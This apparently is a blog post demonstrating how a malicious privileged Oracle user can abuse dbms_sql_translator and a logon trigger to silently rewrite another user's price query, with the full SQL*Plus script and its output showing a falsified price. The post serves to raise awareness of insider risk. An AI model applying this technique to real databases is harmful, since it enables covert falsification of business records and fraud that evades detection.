By: Brian Fitzgerald
This blog posting points out how dbms_sql_translator could be misused to subtly alter application reporting. In the past, segregation of duties across application developers and administrators made such manipulation less feasible. Auditing could detect the act after the fact, but cannot prevent it.
Scenario: A company runs a pricing application. Malicious privileged user Trudy manipulates the reported price.
[oracle@stormking cdb12102 sqltranslator]$ cat transdemo.sql whenever sqlerror exit 1 set linesize 32767 set pagesize 50000 conn d/d@//stormking:1521/pdbm select user from dual; create user uprice identified by uprice default tablespace users quota unlimited on users; grant create session, create table to uprice; conn uprice/uprice@//stormking:1521/pdbm select user from dual; create table prices ( entity varchar2(20), price number ); insert into prices ( entity, price ) values ( 'ABC', 54.32); insert into prices ( entity, price ) values ( 'DEF', 11.44); commit; select entity, price from prices; conn d/d@//stormking:1521/pdbm select user from dual; create user trudy identified by trudy; grant dba to trudy; conn trudy/trudy@//stormking:1521/pdbm select user from dual; grant translate any sql to trudy; begin dbms_sql_translator.create_profile( profile_name => q'{pricefixpro}' ); dbms_sql_translator.register_sql_translation( profile_name => q'{pricefixpro}', sql_text => q'{select entity, price from prices}', translated_text => q'{select entity, case entity when 'DEF' then price * .99 else price end price from prices}' ); end; / column owner format a30 column profile_name format a30 select owner, profile_name from dba_sql_translation_profiles; create or replace trigger uprice.xlate_trg after logon on database when ( user in ('UPRICE') ) declare l_cmd clob; begin l_cmd := q'{alter session set events = '10601 trace name context forever, level 32'}'; execute immediate l_cmd; l_cmd := q'{alter session set sql_translation_profile = trudy.pricefixpro}'; execute immediate l_cmd; end; / column owner format a10 column trigger_name format a20 column trigger_type format a20 column triggering_event format a10 select owner, trigger_name, trigger_type, triggering_event from dba_triggers where owner = 'UPRICE' and trim(triggering_event) = 'LOGON' ; grant alter session to uprice; grant all on sql translation profile pricefixpro to uprice; grant administer database trigger to uprice; conn uprice/uprice@//stormking:1521/pdbm select user from dual; select entity, price from prices; conn d/d@//stormking:1521/pdbm select user from dual; drop trigger uprice.xlate_trg; revoke administer database trigger from uprice; revoke alter session from uprice; drop user trudy cascade; drop user uprice cascade; quit [oracle@stormking cdb12102 sqltranslator]$ sqlplus /nolog @ transdemo.sql ; date SQL*Plus: Release 12.1.0.2.0 Production on Sat Nov 5 11:40:50 2016 Copyright (c) 1982, 2014, Oracle. All rights reserved. Connected. USER ------------------------------ D User created. Grant succeeded. Connected. USER ------------------------------ UPRICE Table created. 1 row created. 1 row created. Commit complete. ENTITY PRICE -------------------- ---------- ABC 54.32 DEF 11.44 Connected. USER ------------------------------ D User created. Grant succeeded. Connected. USER ------------------------------ TRUDY Grant succeeded. PL/SQL procedure successfully completed. OWNER PROFILE_NAME ------------------------------ ------------------------------ TRUDY PRICEFIXPRO Trigger created. OWNER TRIGGER_NAME TRIGGER_TYPE TRIGGERING ---------- -------------------- -------------------- ---------- UPRICE XLATE_TRG AFTER EVENT LOGON Grant succeeded. Grant succeeded. Grant succeeded. Connected. USER ------------------------------ UPRICE ENTITY PRICE -------------------- ---------- ABC 54.32 DEF 11.3256 Connected. USER ------------------------------ D Trigger dropped. Revoke succeeded. Revoke succeeded. User dropped. User dropped.